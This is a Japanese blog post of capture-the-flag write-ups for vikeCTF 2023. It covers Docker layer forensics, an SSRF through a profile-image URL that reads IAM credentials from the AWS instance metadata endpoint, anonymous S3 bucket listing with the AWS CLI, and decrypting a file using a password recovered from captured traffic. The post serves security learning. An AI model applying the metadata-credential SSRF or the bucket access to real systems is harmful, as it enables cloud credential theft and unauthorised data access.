はまやんはまやんはまやん

hamayanhamayan's blog

vikeCTF{2023} Writeups

[Cloud] Docker Dad Jokes: Find the Punchline

dockerのダンプファイルが与えられる。
28d….jsonを見てみると

        {
            "created": "2023-03-17T09:32:45.482620015Z",
            "created_by": "RUN /bin/sh -c rm flag.txt # buildkit",
            "comment": "buildkit.dockerfile.v0"
        },

のようにflag.txtが消されている。
適当にflagをgrepして探すと見つかる。

$ cd 901606eea2faa73c03fccad4ad1c61a5aafe872d28a27420111eacfc9ae2d5c1

$ cat * | grep -a flag
RUN echo "vikeCTF{■■■■■■■■■■■■}" > flag.txt
RUN rm flag.txt

[Cloud] Eternal Cloud Conquest

色々試してみるとSSRF脆弱性を発見する。

  1. 適当にユーザーを作る
  2. /profileのページのProfile Image URLにサーバーに踏ませたいURLを配置する
  3. 適当なページでコメントを残すと、指定したURLが画像でなくても、Profile Imageがbase64形式で保存され返されてくる

これでAWSインスタンスメタデータを巡回すると最終的にフラグが見つかる。

http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
elastic-inference/
events/
hostname
iam/
instance-action
instance-id
instance-life-cycle
instance-type
kernel-id
local-hostname
local-ipv4
mac
network/
placement/
product-codes
public-hostname
public-ipv4
public-keys/
ramdisk-id
reservation-id
security-groups
services/
spot/
tags/

http://169.254.169.254/latest/meta-data/iam/security-credentials/
vikeCTF-metadata-role

http://169.254.169.254/latest/meta-data/iam/security-credentials/vikeCTF-metadata-role
{
    "Code": "Success",
    "LastUpdated": "2023-03-17T16:00:00Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "12345678901",
    "SecretAccessKey": "v/12345678901",
    "Token": "vikeCTF{d0nt_f0rg3t_@b0ut_n3tw0rk_@cc355}",
    "Expiration": "2023-03-19T16:00:00Z"
}

[Cloud] Super Silly Security

https://super-silly-security.vikesec.ca/flag.png
にフラグがあるっぽいが403エラー
エラーメッセージとしてS3 ERROR: Not in Authenticated AWS User groupとある。

digコマンドでドメインを見てみると

super-silly-security.vikesec.ca. 0 IN   CNAME   super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com.
super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. 0 IN CNAME s3-website.us-west-2.amazonaws.com.

super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.comがもともとの名前のようだ。
とりあえず、S3に匿名アクセスできないか試してみる。
適当なAWSユーザーでアクセスキーを発行し、aws configureで設定する。
リージョンはus-west-2を使う。
これでこのS3にアクセスしてみると匿名アクセスできたので、flag.pngを持ってくるとフラグが書いてある。

$ aws configure
AWS Access Key ID [None]: <reducted>
AWS Secret Access Key [None]: <reducted>
Default region name [None]: us-west-2
Default output format [None]:

$ aws s3 ls s3://super-silly-security.vikesec.ca
2023-03-18 08:14:04      24728 flag.png
2023-03-18 08:14:04       1821 index.html
2023-03-18 08:14:04       6489 style.css

$ aws s3 cp s3://super-silly-security.vikesec.ca/flag.png flag.png
download: s3://super-silly-security.vikesec.ca/flag.png to ./flag.png

[misc] Smoke on the Horizon

プロトコル階層を見てみると、いろいろ記録されている。

  • TLS: 何かが暗号化されている
  • HTTP: ELF形式の何かがやり取りされている。decriptというファイル
  • SMTP: 1通メールがありパスワードp!ll@ge_🔥_p1und3rというのが共有されている
  • FTP: flag.encというファイルがダウンロードされている

decryptを動かすと復号化ソフトのようで、既に手元にある情報を試すとフラグが復号化されてくる。
TLSの情報は使用しない。

$ ./decrypt 
Usage: ./decrypt input_file password

$ ./decrypt flag.enc 'p!ll@ge_🔥_p1und3r'
Decryption successful: flag.enc -> flag.enc.dec